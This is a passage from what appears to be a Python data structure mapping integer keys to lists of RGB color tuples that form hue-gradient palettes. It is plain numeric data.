142), (204, 101, 140), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 121), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 226: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 129, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 148, 101), (204, 150, 101), (204, 153, 101), (204, 156, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 175, 101), (204, 177, 101), (204, 180, 101), (204, 183, 101), (204, 185, 101), (204, 188, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (167, 204, 101), (165, 204, 101), (162, 204, 101), (159, 204, 101), (157, 204, 101), (154, 204, 101), (151, 204, 101), (148, 204, 101), (146, 204, 101), (143, 204, 101), (140, 204, 101), (138, 204, 101), (135, 204, 101), (132, 204, 101), (129, 204, 101), (127, 204, 101), (124, 204, 101), (121, 204, 101), (119, 204, 101), (116, 204, 101), (113, 204, 101), (111, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 120), (101, 204, 122), (101, 204, 125), (101, 204, 128), (101, 204, 130), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 155), (101, 204, 157), (101, 204, 160), (101, 204, 163), (101, 204, 166), (101, 204, 168), (101, 204, 171), (101, 204, 174), (101, 204, 176), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 176, 204), (101, 174, 204), (101, 171, 204), (101, 168, 204), (101, 166, 204), (101, 163, 204), (101, 160, 204), (101, 157, 204), (101, 155, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 130, 204), (101, 128, 204), (101, 125, 204), (101, 122, 204), (101, 120, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (111, 101, 204), (113, 101, 204), (116, 101, 204), (119, 101, 204), (121, 101, 204), (124, 101, 204), (127, 101, 204), (129, 101, 204), (132, 101, 204), (135, 101, 204), (138, 101, 204), (140, 101, 204), (143, 101, 204), (146, 101, 204), (148, 101, 204), (151, 101, 204), (154, 101, 204), (157, 101, 204), (159, 101, 204), (162, 101, 204), (165, 101, 204), (167, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 188), (204, 101, 185), (204, 101, 183), (204, 101, 180), (204, 101, 177), (204, 101, 175), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 156), (204, 101, 153), (204, 101, 150), (204, 101, 148), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 129), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 227: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 137, 101), (204, 139, 101), (204, 142, 101), (204, 145, 101), (204, 147, 101), (204, 150, 101), (204, 153, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 164, 101), (204, 166, 101), (204, 169, 101), (204, 172, 101), (204, 174, 101), (204, 177, 101), (204, 180, 101), (204, 182, 101), (204, 185, 101), (204, 188, 101), (204, 190, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (192, 204, 101), (190, 204, 101), (187, 204, 101), (184, 204, 101), (181, 204, 101), (179, 204, 101), (176, 204, 101), (173, 204, 101), (171, 204, 101), (168, 204, 101), (165, 204, 101), (163, 204, 101), (160, 204, 101), (157, 204, 101), (155, 204, 101), (152, 204, 101), (149, 204, 101), (146, 204, 101), (144, 204, 101), (141, 204, 101), (138, 204, 101), (136, 204, 101), (133, 204, 101), (130, 204, 101), (128, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 119), (101, 204, 121), (101, 204, 124), (101, 204, 127), (101, 204, 129), (101, 204, 132), (101, 204, 135), (101, 204, 137), (101, 204, 140), (101, 204, 143), (101, 204, 146), (101, 204, 148), (101, 204, 151), (101, 204, 154), (101, 204, 156), (101, 204, 159), (101, 204, 162), (101, 204, 164), (101, 204, 167), (101, 204, 170), (101, 204, 172), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 172, 204), (101, 170, 204), (101, 167, 204), (101, 164, 204), (101, 162, 204), (101, 159, 204), (101, 156, 204), (101, 154, 204), (101, 151, 204), (101, 148, 204), (101, 146, 204), (101, 143, 204), (101, 140, 204), (101, 137, 204), (101, 135, 204), (101, 132, 204), (101, 129, 204), (101, 127, 204), (101, 124, 204), (101, 121, 204), (101, 119, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (128, 101, 204), (130, 101, 204), (133, 101, 204), (136, 101, 204), (138, 101, 204), (141, 101, 204), (144, 101, 204), (146, 101, 204), (149, 101, 204), (152, 101, 204), (155, 101, 204), (157, 101, 204), (160, 101, 204), (163, 101, 204), (165, 101, 204), (168, 101, 204), (171, 101, 204), (173, 101, 204), (176, 101, 204), (179, 101, 204), (181, 101, 204), (184, 101, 204), (187, 101, 204), (190, 101, 204), (192, 101, 204), (195, 101, 204), (198, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 199), (204, 101, 196), (204, 101, 193), (204, 101, 190), (204, 101, 188), (204, 101, 185), (204, 101, 182), (204, 101, 180), (204, 101, 177), (204, 101, 174), (204, 101, 172), (204, 101, 169), (204, 101, 166), (204, 101, 164), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 145), (204, 101, 142), (204, 101, 139), (204, 101, 137), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 228: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 161, 101), (204, 163, 101), (204, 166, 101), (204, 169, 101), (204, 171, 101), (204, 174, 101), (204, 177, 101), (204, 179, 101), (204, 182, 101), (204, 185, 101), (204, 187, 101), (204, 190, 101), (204, 193, 101), (204, 195, 101), (204, 198, 101), (204, 201, 101), (204, 204, 101), (201, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 101), (187, 204, 101), (185, 204, 101), (182, 204, 101), (179, 204, 101), (177, 204, 101), (174, 204, 101), (171, 204, 101), (169, 204, 101), (166, 204, 101), (163, 204, 101), (161, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (144, 204, 101), (142, 204, 101), (139, 204, 101), (136, 204, 101), (134, 204, 101), (131, 204, 101), (128, 204, 101), (126, 204, 101), (123, 204, 101), (120, 204, 101), (118, 204, 101), (115, 204, 101), (112, 204, 101), (110, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 110), (101, 204, 112), (101, 204, 115), (101, 204, 118), (101, 204, 120), (101, 204, 123), (101, 204, 126), (101, 204, 128), (101, 204, 131), (101, 204, 134), (101, 204, 136), (101, 204, 139), (101, 204, 142), (101, 204, 144), (101, 204, 147), (101, 204, 150), (101, 204, 152), (101, 204, 155), (101, 204, 158), (101, 204, 161), (101, 204, 163), (101, 204, 166), (101, 204, 169), (101, 204, 171), (101, 204, 174), (101, 204, 177), (101, 204, 179), (101, 204, 182), (101, 204, 185), (101, 204, 187), (101, 204, 190), (101, 204, 193), (101, 204, 195), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 195, 204), (101, 193, 204), (101, 190, 204), (101, 187, 204), (101, 185, 204), (101, 182, 204), (101, 179, 204), (101, 177, 204), (101, 174, 204), (101, 171, 204), (101, 169, 204), (101, 166, 204), (101, 163, 204), (101, 161, 204), (101, 158, 204), (101, 155, 204), (101, 153, 204), (101, 150, 204), (101, 147, 204), (101, 144, 204), (101, 142, 204), (101, 139, 204), (101, 136, 204), (101, 134, 204), (101, 131, 204), (101, 128, 204), (101, 126, 204), (101, 123, 204), (101, 120, 204), (101, 118, 204), (101, 115, 204), (101, 112, 204), (101, 110, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (110, 101, 204), (112, 101, 204), (115, 101, 204), (118, 101, 204), (120, 101, 204), (123, 101, 204), (126, 101, 204), (128, 101, 204), (131, 101, 204), (134, 101, 204), (136, 101, 204), (139, 101, 204), (142, 101, 204), (144, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (161, 101, 204), (163, 101, 204), (166, 101, 204), (169, 101, 204), (171, 101, 204), (174, 101, 204), (177, 101, 204), (179, 101, 204), (182, 101, 204), (185, 101, 204), (187, 101, 204), (190, 101, 204), (193, 101, 204), (195, 101, 204), (198, 101, 204), (201, 101, 204), (203, 101, 204), (204, 101, 201), (204, 101, 198), (204, 101, 195), (204, 101, 193), (204, 101, 190), (204, 101, 187), (204, 101, 185), (204, 101, 182), (204, 101, 179), (204, 101, 177), (204, 101, 174), (204, 101, 171), (204, 101, 169), (204, 101, 166), (204, 101, 163), (204, 101, 161), (204, 101, 158), (204, 101, 155), (204, 101, 153), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 229: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 110, 101), (204, 112, 101), (204, 115, 101), (204, 118, 101), (204, 120, 101), (204, 123, 101), (204, 126, 101), (204, 128, 101), (204, 131, 101), (204, 134, 101), (204, 136, 101), (204, 139, 101), (204, 142, 101), (204, 144, 101), (204, 147, 101), (204, 150, 101), (204, 152, 101), (204, 155, 101), (204, 158, 101), (204, 160, 101), (204, 163, 101), (204, 166, 101), (204, 168, 101), (204, 171, 101), (204, 174, 101), (204, 176, 101), (204, 179, 101), (204, 182, 101), (204, 184, 101), (204, 187, 101), (204, 190, 101), (204, 192, 101), (204, 195, 101), (204, 198, 101), (204, 200, 101), (204, 203, 101), (201, 204, 101), (199, 204, 101), (196, 204, 101), (193, 204, 101), (191, 204, 101), (188, 204, 101), (185, 204, 101), (183, 204, 101), (180, 204, 101), (177, 204, 101), (175, 204, 101), (172, 204, 101), (169, 204, 101), (167, 204, 101), (164, 204, 101), (161, 204, 101), (159, 204, 101), (156, 204, 101), (153, 204, 101), (150, 204, 101), (148, 204, 101), (145, 204, 101), (142, 204, 101), (140, 204, 101), (137, 204, 101), (134, 204, 101), (132, 204, 101), (129, 204, 101), (126, 204, 101), (124, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 117), (101, 204, 119), (101, 204, 122), (101, 204, 125), (101, 204, 127), (101, 204, 130), (101, 204, 133), (101, 204, 135), (101, 204, 138), (101, 204, 141), (101, 204, 143), (101, 204, 146), (101, 204, 149), (101, 204, 151), (101, 204, 154), (101, 204, 157), (101, 204, 159), (101, 204, 162), (101, 204, 165), (101, 204, 167), (101, 204, 170), (101, 204, 173), (101, 204, 175), (101, 204, 178), (101, 204, 181), (101, 204, 183), (101, 204, 186), (101, 204, 189), (101, 204, 191), (101, 204, 194), (101, 204, 197), (101, 204, 199), (101, 204, 202), (101, 202, 204), (101, 199, 204), (101, 197, 204), (101, 194, 204), (101, 191, 204), (101, 189, 204), (101, 186, 204), (101, 183, 204), (101, 181, 204), (101, 178, 204), (101, 175, 204), (101, 173, 204), (101, 170, 204), (101, 167, 204), (101, 165, 204), (101, 162, 204), (101, 159, 204), (101, 157, 204), (101, 154, 204), (101, 151, 204), (101, 149, 204), (101, 146, 204), (101, 143, 204), (101, 141, 204), (101, 138, 204), (101, 135, 204), (101, 133, 204), (101, 130, 204), (101, 127, 204), (101, 125, 204), (101, 122, 204), (101, 119, 204), (101, 117, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (124, 101, 204), (126, 101, 204), (129, 101, 204), (132, 101, 204), (134, 101, 204), (137, 101, 204), (140, 101, 204), (142, 101, 204), (145, 101, 204), (148, 101, 204), (150, 101, 204), (153, 101, 204), (156, 101, 204), (159, 101, 204), (161, 101, 204), (164, 101, 204), (167, 101, 204), (169, 101, 204), (172, 101, 204), (175, 101, 204), (177, 101, 204), (180, 101, 204), (183, 101, 204), (185, 101, 204), (188, 101, 204), (191, 101, 204), (193, 101, 204), (196, 101, 204), (199, 101, 204), (201, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 198), (204, 101, 195), (204, 101, 192), (204, 101, 190), (204, 101, 187), (204, 101, 184), (204, 101, 182), (204, 101, 179), (204, 101, 176), (204, 101, 174), (204, 101, 171), (204, 101, 168), (204, 101, 166), (204, 101, 163), (204, 101, 160), (204, 101, 158), (204, 101, 155), (204, 101, 152), (204, 101, 150), (204, 101, 147), (204, 101, 144), (204, 101, 142), (204, 101, 139), (204, 101, 136), (204, 101, 134), (204, 101, 131), (204, 101, 128), (204, 101, 126), (204, 101, 123), (204, 101, 120), (204, 101, 118), (204, 101, 115), (204, 101, 112), (204, 101, 110), (204, 101, 107), (204, 101, 104)], 230: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 155, 101), (204, 157, 101), (204, 160, 101), (204, 163, 101), (204, 165, 101), (204, 168, 101), (204, 171, 101), (204, 173, 101), (204, 176, 101), (204, 179, 101), (204, 181, 101), (204, 184, 101), (204, 187, 101), (204, 189, 101), (204, 192, 101), (204, 195, 101), (204, 197, 101), (204, 200, 101), (204, 203, 101), (202, 204, 101), (199, 204, 101), (196, 204, 101), (194, 204, 101), (191, 204, 101), (188, 204, 101), (186, 204, 101), (183, 204, 101), (180, 204, 101), (178, 204, 101), (175, 204, 101), (172, 204, 101), (170, 204, 101), (167, 204, 101), (164, 204, 101), (162, 204, 101), (159, 204, 101), (156, 204, 101), (154, 204, 101), (151, 204, 101), (149, 204, 101), (146, 204, 101), (143, 204, 101), (141, 204, 101), (138, 204, 101), (135, 204, 101), (133, 204, 101), (130, 204, 101), (127, 204, 101), (125, 204, 101), (122, 204, 101), (119, 204, 101), (117, 204, 101), (114, 204, 101), (111, 204, 101), (109, 204, 101), (106, 204, 101), (103, 204, 101), (101, 204, 102), (101, 204, 105), (101, 204, 108), (101, 204, 110), (101, 204, 113), (101, 204, 116), (101, 204, 118), (101, 204, 121), (101, 204, 124), (101, 204, 126), (101, 204, 129), (101, 204, 132), (101, 204, 134), (101, 204, 137), (101, 204, 140), (101, 204, 142), (101, 204, 145), (101, 204, 148), (101, 204, 150), (101, 204, 153), (101, 204, 156), (101, 204, 158), (101, 204, 161), (101, 204, 164), (101, 204, 166), (101, 204, 169), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 166, 204), (101, 164, 204), (101, 161, 204), (101, 158, 204), (101, 156, 204), (101, 153, 204), (101, 150, 204), (101, 148, 204), (101, 145, 204), (101, 142, 204), (101, 140, 204), (101, 137, 204), (101, 134, 204), (101, 132, 204), (101, 129, 204), (101, 126, 204), (101, 124, 204), (101, 121, 204), (101, 118, 204), (101, 116, 204), (101, 113, 204), (101, 110, 204), (101, 108, 204), (101, 105, 204), (101, 102, 204), (103, 101, 204), (106, 101, 204), (109, 101, 204), (111, 101, 204), (114, 101, 204), (117, 101, 204), (119, 101, 204), (122, 101, 204), (125, 101, 204), (127, 101, 204), (130, 101, 204), (133, 101, 204), (135, 101, 204), (138, 101, 204), (141, 101, 204), (143, 101, 204), (146, 101, 204), (149, 101, 204), (151, 101, 204), (154, 101, 204), (156, 101, 204), (159, 101, 204), (162, 101, 204), (164, 101, 204), (167, 101, 204), (170, 101, 204), (172, 101, 204), (175, 101, 204), (178, 101, 204), (180, 101, 204), (183, 101, 204), (186, 101, 204), (188, 101, 204), (191, 101, 204), (194, 101, 204), (196, 101, 204), (199, 101, 204), (202, 101, 204), (204, 101, 203), (204, 101, 200), (204, 101, 197), (204, 101, 195), (204, 101, 192), (204, 101, 189), (204, 101, 187), (204, 101, 184), (204, 101, 181), (204, 101, 179), (204, 101, 176), (204, 101, 173), (204, 101, 171), (204, 101, 168), (204, 101, 165), (204, 101, 163), (204, 101, 160), (204, 101, 157), (204, 101, 155), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 231: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 139, 101), (204, 141, 101), (204, 144, 101), (204, 147, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 168, 101), (204, 170, 101), (204, 173, 101), (204, 176, 101), (204, 178, 101), (204, 181, 101), (204, 184, 101), (204, 186, 101), (204, 189, 101), (204, 192, 101), (204, 194, 101), (204, 197, 101), (204, 200, 101), (204, 202, 101), (202, 204, 101), (200, 204, 101), (197, 204, 101), (194, 204, 101), (192, 204, 101), (189, 204, 101), (186, 204, 101), (184, 204, 101), (181, 204, 101), (178, 204, 101), (176, 204, 101), (173, 204, 101), (170, 204, 101), (168, 204, 101), (165, 204, 101), (162, 204, 101), (160, 204, 101), (157, 204, 101), (154, 204, 101), (152, 204, 101), (149, 204, 101), (147, 204, 101), (144, 204, 101), (141, 204, 101), (139, 204, 101), (136, 204, 101), (133, 204, 101), (131, 204, 101), (128, 204, 101), (125, 204, 101), (123, 204, 101), (120, 204, 101), (117, 204, 101), (115, 204, 101), (112, 204, 101), (109, 204, 101), (107, 204, 101), (104, 204, 101), (102, 204, 101), (101, 204, 104), (101, 204, 107), (101, 204, 109), (101, 204, 112), (101, 204, 115), (101, 204, 117), (101, 204, 120), (101, 204, 123), (101, 204, 125), (101, 204, 128), (101, 204, 131), (101, 204, 133), (101, 204, 136), (101, 204, 139), (101, 204, 141), (101, 204, 144), (101, 204, 147), (101, 204, 149), (101, 204, 152), (101, 204, 154), (101, 204, 157), (101, 204, 160), (101, 204, 162), (101, 204, 165), (101, 204, 168), (101, 204, 170), (101, 204, 173), (101, 204, 176), (101, 204, 178), (101, 204, 181), (101, 204, 184), (101, 204, 186), (101, 204, 189), (101, 204, 192), (101, 204, 194), (101, 204, 197), (101, 204, 200), (101, 204, 202), (101, 202, 204), (101, 200, 204), (101, 197, 204), (101, 194, 204), (101, 192, 204), (101, 189, 204), (101, 186, 204), (101, 184, 204), (101, 181, 204), (101, 178, 204), (101, 176, 204), (101, 173, 204), (101, 170, 204), (101, 168, 204), (101, 165, 204), (101, 162, 204), (101, 160, 204), (101, 157, 204), (101, 154, 204), (101, 152, 204), (101, 149, 204), (101, 147, 204), (101, 144, 204), (101, 141, 204), (101, 139, 204), (101, 136, 204), (101, 133, 204), (101, 131, 204), (101, 128, 204), (101, 125, 204), (101, 123, 204), (101, 120, 204), (101, 117, 204), (101, 115, 204), (101, 112, 204), (101, 109, 204), (101, 107, 204), (101, 104, 204), (101, 102, 204), (104, 101, 204), (107, 101, 204), (109, 101, 204), (112, 101, 204), (115, 101, 204), (117, 101, 204), (120, 101, 204), (123, 101, 204), (125, 101, 204), (128, 101, 204), (131, 101, 204), (133, 101, 204), (136, 101, 204), (139, 101, 204), (141, 101, 204), (144, 101, 204), (147, 101, 204), (149, 101, 204), (152, 101, 204), (154, 101, 204), (157, 101, 204), (160, 101, 204), (162, 101, 204), (165, 101, 204), (168, 101, 204), (170, 101, 204), (173, 101, 204), (176, 101, 204), (178, 101, 204), (181, 101, 204), (184, 101, 204), (186, 101, 204), (189, 101, 204), (192, 101, 204), (194, 101, 204), (197, 101, 204), (200, 101, 204), (202, 101, 204), (204, 101, 202), (204, 101, 200), (204, 101, 197), (204, 101, 194), (204, 101, 192), (204, 101, 189), (204, 101, 186), (204, 101, 184), (204, 101, 181), (204, 101, 178), (204, 101, 176), (204, 101, 173), (204, 101, 170), (204, 101, 168), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 147), (204, 101, 144), (204, 101, 141), (204, 101, 139), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 232: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 125, 101), (204, 128, 101), (204, 131, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 152, 101), (204, 154, 101), (204, 157, 101), (204, 160, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 173, 101), (204, 175, 101), (204, 178, 101), (204, 181, 101), (204, 183, 101), (204, 186, 101), (204, 189, 101), (204, 191, 101), (204, 194, 101), (204, 196, 101), (204, 199, 101), (204, 202, 101), (203, 204, 101), (200, 204, 101), (197, 204, 101), (195, 204, 101), (192, 204, 101), (189, 204, 101), (187, 204, 101), (184, 204, 101), (182, 204, 101), (179, 204, 101), (176, 204, 101), (174, 204, 101), (171, 204, 101), (168, 204, 101), (166, 204, 101), (163, 204, 101), (160, 204, 101), (158, 204, 101), (155, 204, 101), (153, 204, 101), (150, 204, 101), (147, 204, 101), (145, 204, 101), (142, 204, 101), (139, 204, 101), (137, 204, 101), (134, 204, 101), (131, 204, 101), (129, 204, 101), (126, 204, 101), (123, 204, 101), (121, 204, 101), (118, 204, 101), (116, 204, 101), (113, 204, 101), (110, 204, 101), (108, 204, 101), (105, 204, 101), (102, 204, 101), (101, 204, 103), (101, 204, 106), (101, 204, 109), (101, 204, 111), (101, 204, 114), (101, 204, 116), (101, 204, 119), (101, 204, 122), (101, 204, 124), (101, 204, 127), (101, 204, 130), (101, 204, 132), (101, 204, 135), (101, 204, 138), (101, 204, 140), (101, 204, 143), (101, 204, 145), (101, 204, 148), (101, 204, 151), (101, 204, 153), (101, 204, 156), (101, 204, 159), (101, 204, 161), (101, 204, 164), (101, 204, 167), (101, 204, 169), (101, 204, 172), (101, 204, 174), (101, 204, 177), (101, 204, 180), (101, 204, 182), (101, 204, 185), (101, 204, 188), (101, 204, 190), (101, 204, 193), (101, 204, 196), (101, 204, 198), (101, 204, 201), (101, 204, 204), (101, 201, 204), (101, 198, 204), (101, 196, 204), (101, 193, 204), (101, 190, 204), (101, 188, 204), (101, 185, 204), (101, 182, 204), (101, 180, 204), (101, 177, 204), (101, 174, 204), (101, 172, 204), (101, 169, 204), (101, 167, 204), (101, 164, 204), (101, 161, 204), (101, 159, 204), (101, 156, 204), (101, 153, 204), (101, 151, 204), (101, 148, 204), (101, 145, 204), (101, 143, 204), (101, 140, 204), (101, 138, 204), (101, 135, 204), (101, 132, 204), (101, 130, 204), (101, 127, 204), (101, 124, 204), (101, 122, 204), (101, 119, 204), (101, 116, 204), (101, 114, 204), (101, 111, 204), (101, 109, 204), (101, 106, 204), (101, 103, 204), (102, 101, 204), (105, 101, 204), (108, 101, 204), (110, 101, 204), (113, 101, 204), (116, 101, 204), (118, 101, 204), (121, 101, 204), (123, 101, 204), (126, 101, 204), (129, 101, 204), (131, 101, 204), (134, 101, 204), (137, 101, 204), (139, 101, 204), (142, 101, 204), (145, 101, 204), (147, 101, 204), (150, 101, 204), (152, 101, 204), (155, 101, 204), (158, 101, 204), (160, 101, 204), (163, 101, 204), (166, 101, 204), (168, 101, 204), (171, 101, 204), (174, 101, 204), (176, 101, 204), (179, 101, 204), (182, 101, 204), (184, 101, 204), (187, 101, 204), (189, 101, 204), (192, 101, 204), (195, 101, 204), (197, 101, 204), (200, 101, 204), (203, 101, 204), (204, 101, 202), (204, 101, 199), (204, 101, 196), (204, 101, 194), (204, 101, 191), (204, 101, 189), (204, 101, 186), (204, 101, 183), (204, 101, 181), (204, 101, 178), (204, 101, 175), (204, 101, 173), (204, 101, 170), (204, 101, 167), (204, 101, 165), (204, 101, 162), (204, 101, 160), (204, 101, 157), (204, 101, 154), (204, 101, 152), (204, 101, 149), (204, 101, 146), (204, 101, 144), (204, 101, 141), (204, 101, 138), (204, 101, 136), (204, 101, 133), (204, 101, 131), (204, 101, 128), (204, 101, 125), (204, 101, 123), (204, 101, 120), (204, 101, 117), (204, 101, 115), (204, 101, 112), (204, 101, 109), (204, 101, 107), (204, 101, 104)], 233: [(204, 101, 101), (204, 104, 101), (204, 107, 101), (204, 109, 101), (204, 112, 101), (204, 115, 101), (204, 117, 101), (204, 120, 101), (204, 123, 101), (204, 125, 101), (204, 128, 101), (204, 130, 101), (204, 133, 101), (204, 136, 101), (204, 138, 101), (204, 141, 101), (204, 144, 101), (204, 146, 101), (204, 149, 101), (204, 151, 101), (204, 154, 101), (204, 157, 101), (204, 159, 101), (204, 162, 101), (204, 165, 101), (204, 167, 101), (204, 170, 101), (204, 172, 101), (204, 175, 101), (204, 178, 101), (204, 180, 101), (204, 183, 101), (204, 186, 101), (204, 188, 101), (204, 191, 101), (204, 193, 101), (204, 196, 101), (204, 199, 101), (204, 201, 101), (203, 204, 101), (200, 204, 101), (198, 204, 101), (195, 204, 101), (193, 204, 101), (190, 204, 